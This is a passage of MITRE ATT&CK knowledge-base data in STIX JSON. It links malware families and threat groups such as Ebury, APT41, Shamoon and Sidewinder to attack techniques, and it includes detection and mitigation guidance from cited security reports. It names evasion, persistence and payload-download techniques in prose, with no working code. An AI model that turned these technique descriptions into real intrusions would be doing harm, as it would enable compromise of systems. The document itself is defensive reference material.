2020)","relationship_type":"uses","source_ref":"malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2d9a619-4379-4e15-9115-40ca9209f316","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dragonfly","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"}],"modified":"2020-03-17T16:17:38.058Z","description":"[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects the current username from the victim.(Citation: Symantec Dragonfly)","relationship_type":"uses","source_ref":"malware--083bb47b-02c8-4423-81a2-f9ef58572974","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d2ddc824-b2d8-46b8-9f75-d592357620db","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-14T15:50:43.259Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). Network Analysis frameworks such as Zeek can be used to capture, decode, and alert on network protocols including RDP.","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2ea2645-1940-4776-a874-09309f75636a","type":"relationship","created":"2021-04-07T15:19:28.661Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."},{"source_name":"Rewterz Sidewinder APT April 2020","url":"https://www.rewterz.com/threats/sidewinder-apt-group-campaign-analysis","description":"Rewterz. (2020, April 20). Sidewinder APT Group Campaign Analysis. Retrieved January 29, 2021."},{"source_name":"Rewterz Sidewinder COVID-19 June 2020","url":"https://www.rewterz.com/articles/analysis-on-sidewinder-apt-group-covid-19","description":"Rewterz. (2020, June 22). Analysis on Sidewinder APT Group – COVID-19. Retrieved January 29, 2021."},{"source_name":"Cyble Sidewinder September 2020","url":"https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/","description":"Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021."}],"modified":"2021-07-21T12:24:09.318Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has lured targets to click on malicious links to gain execution in the target environment.(Citation: ATT Sidewinder January 2021)(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)(Citation: Cyble Sidewinder September 2020)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d2edfaee-154b-4566-b85c-740e591477d9","created":"2023-03-06T21:23:26.100Z","revoked":false,"external_references":[{"source_name":"Volexity Exchange Marauder March 2021","description":"Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.","url":"https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T21:23:26.101Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has granted privileges to domain accounts.(Citation: Volexity Exchange Marauder March 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2ef2109-c65f-452b-bb5b-dd06d1b16602","type":"relationship","created":"2020-05-12T21:56:32.981Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-27T23:35:41.301Z","description":"[ShimRat](https://attack.mitre.org/software/S0444) can enumerate connected drives for infected host machines.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"malware--5763217a-05b6-4edd-9bca-057e47b5e403","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2f19ee3-8e1c-46e4-b803-e8b3fa36f62e","type":"relationship","created":"2021-12-06T19:48:35.268Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-06T20:45:13.824Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has identified and browsed file servers in the victim network, sometimes , viewing files pertaining to ICS or Supervisory Control and Data Acquisition (SCADA) systems.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2f6b3a1-adcb-4afb-9807-8ae58e6ac340","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor process API calls to AddPrintProcessor and GetPrintProcessorDirectory.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2f6e1bf-49ae-48cb-a919-b556f8cd0553","type":"relationship","created":"2019-01-29T19:55:48.263Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"}],"modified":"2019-07-26T16:10:42.950Z","description":"[Epic](https://attack.mitre.org/software/S0091) searches for anti-malware services running on the victim’s machine and terminates itself if it finds them.(Citation: Kaspersky Turla)","relationship_type":"uses","source_ref":"malware--6b62e336-176f-417b-856a-8552dd8c44e1","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2fa2382-dcfc-4cff-969b-2b5ec12dc406","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Wilted Tulip July 2017","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"}],"modified":"2020-03-19T22:00:22.544Z","description":"After creating a new service for persistence, [TDTESS](https://attack.mitre.org/software/S0164) sets the file creation time for the service to the creation time of the victim's legitimate svchost.exe file.(Citation: ClearSky Wilted Tulip July 2017)","relationship_type":"uses","source_ref":"malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2fa6899-2529-45b1-86bf-f2c5475a2ea6","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Sofacy 06-2018","description":"Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"},{"source_name":"Unit42 Cannon Nov 2018","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","description":"Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018."},{"description":"Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.","url":"https://securelist.com/a-slice-of-2017-sofacy-activity/83930/","source_name":"Securelist Sofacy Feb 2018"},{"source_name":"Unit42 Sofacy Dec 2018","url":"https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/","description":"Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group’s Global Campaign. Retrieved April 19, 2019."},{"source_name":"ESET Zebrocy May 2019","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/","description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."}],"modified":"2020-03-20T16:37:06.660Z","description":"(Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: ESET Zebrocy May 2019)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2ff2c76-04ed-41c4-bd35-75f7cf823aee","type":"relationship","created":"2020-06-15T14:22:33.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.","url":"https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/","source_name":"Unit 42 Shamoon3 2018"},{"source_name":"McAfee Shamoon December 2018","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/","description":"Mundo, A., Roccia, T., Saavedra-Morales, J., Beek, C.. (2018, December 14). Shamoon Returns to Wipe Systems in Middle East, Europe . Retrieved May 29, 2020."}],"modified":"2020-06-15T14:22:33.868Z","description":"[Shamoon](https://attack.mitre.org/software/S0140) will reboot the infected system once the wiping functionality has been completed.(Citation: Unit 42 Shamoon3 2018)(Citation: McAfee Shamoon December 2018)\t","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d30d8fa0-7f24-41e5-ae8d-e4449e88d2f0","type":"relationship","created":"2017-05-31T21:33:27.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Gamaredon Feb 2017","description":"Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"},{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}],"modified":"2020-06-22T17:54:15.755Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) tools have contained an application to check performance of USB flash drives. [Gamaredon Group](https://attack.mitre.org/groups/G0047) has also used malware to scan for removable drives.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: ESET Gamaredon June 2020)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d3102278-dab8-485c-9cd2-52f80c4da8bd","created":"2021-02-10T18:41:29.200Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Ebury May 2024","description":"Marc-Etienne M.Léveillé. (2024, May 1). Ebury is alive but unseen. Retrieved May 21, 2024.","url":"https://web-assets.esetstatic.com/wls/en/papers/white-papers/ebury-is-alive-but-unseen.pdf"},{"source_name":"ESET Ebury Oct 2017","description":"Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021.","url":"https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T19:43:05.058Z","description":"When [Ebury](https://attack.mitre.org/software/S0377) is running as an OpenSSH server, it uses LD_PRELOAD to inject its malicious shared module in to programs launched by SSH sessions. [Ebury](https://attack.mitre.org/software/S0377) hooks the following functions from `libc` to inject into subprocesses; `system`, `popen`, `execve`, `execvpe`, `execv`, `execvp`, and `execl`.(Citation: ESET Ebury Oct 2017)(Citation: ESET Ebury May 2024)","relationship_type":"uses","source_ref":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","target_ref":"attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d312fb3f-fd87-48ff-9fba-5c1084a21eab","created":"2022-03-30T14:26:51.845Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor queried domain name system (DNS) registry data for purchased domains that can be used during targeting. Reputation/category-based detection may be difficult until the categorization is updated. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.","modified":"2022-07-13T13:14:45.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--2e521444-7295-4dec-96c1-7595b2df7811","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d313baee-7fc6-4c44-a2d8-84ddcb627faf","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may abuse Microsoft transport agents to establish persistent access to systems. Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--35187df2-31ed-43b6-a1f5-2f1d3d58d3f1","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d3142001-8501-474a-a0cd-2e12bba52148","created":"2020-07-22T19:16:02.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit42 CookieMiner Jan 2019","description":"Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved July 22, 2020.","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T03:33:52.783Z","description":"[CookieMiner](https://attack.mitre.org/software/S0492) has used base64 encoding to obfuscate scripts on the system.(Citation: Unit42 CookieMiner Jan 2019) ","relationship_type":"uses","source_ref":"malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d316289b-26fa-49d7-8ed0-3fa56cc858b7","type":"relationship","created":"2020-04-28T13:48:00.555Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT41 March 2020","url":"https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html","description":"Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020."},{"source_name":"Crowdstrike GTR2020 Mar 2020","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}],"modified":"2020-12-22T17:48:21.444Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used [BITSAdmin](https://attack.mitre.org/software/S0190) to download and install payloads.(Citation: FireEye APT41 March 2020)(Citation: Crowdstrike GTR2020 Mar 2020)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d31bacda-9a8f-4807-b0d6-51a47f0af986","created":"2023-08-01T18:43:54.825Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:35:02.569Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can emulate an FTP server to connect to actor-controlled C2 servers.(Citation: BitDefender BADHATCH Mar 2021)","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d3234cf8-0ef7-4447-ae3a-9624f3229265","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike DNC June 2016","description":"Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.","url":"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"}],"modified":"2019-04-19T18:36:31.999Z","description":"[XTunnel](https://attack.mitre.org/software/S0117) relays traffic between a C2 server and a victim.(Citation: Crowdstrike DNC June 2016)","relationship_type":"uses","source_ref":"malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d32354c1-0668-4997-825e-7f5652826ab9","type":"relationship","created":"2020-12-29T17:07:59.930Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-259A Iran-Based Actor September 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-259a","description":"CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."},{"source_name":"ClearSky Pay2Kitten December 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf","description":"ClearSky. (2020, December 17). Pay2Key Ransomware – A New Campaign by Fox Kitten. Retrieved December 21, 2020."}],"modified":"2020-12-29T20:23:05.599Z","description":"[Fox Kitten](https://attack.mitre.org/groups/G0117) has used RDP to log in and move laterally in the target environment.(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: ClearSky Pay2Kitten December 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d32467b1-8d30-4134-ac6d-541cb623f8c2","type":"relationship","created":"2019-06-24T14:22:08.049Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-08-03T16:47:37.403Z","description":"Restrict write access to logon scripts to specific administrators.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d3269fe9-f90f-4714-bee5-836072e9ad6f","created":"2023-08-02T18:12:47.253Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"},{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-15T20:11:56.957Z","description":"(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d32fb833-c8ad-4d04-b998-3d62a6916966","type":"relationship","created":"2020-04-28T12:47:25.948Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-29T18:44:05.098Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) was executed with a Python script and worked in conjunction with additional Python-based post-exploitation tools.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d331f4b3-047a-4418-9611-f2b8445692b3","type":"relationship","created":"2020-05-18T13:38:59.051Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FSecure Lokibot November 2019","url":"https://www.f-secure.com/v-descs/trojan_w32_lokibot.shtml","description":"Kazem, M. (2019, November 25). Trojan:W32/Lokibot. Retrieved May 15, 2020."}],"modified":"2020-05-18T13:38:59.051Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has the ability to discover the domain name of the infected host.(Citation: FSecure Lokibot November 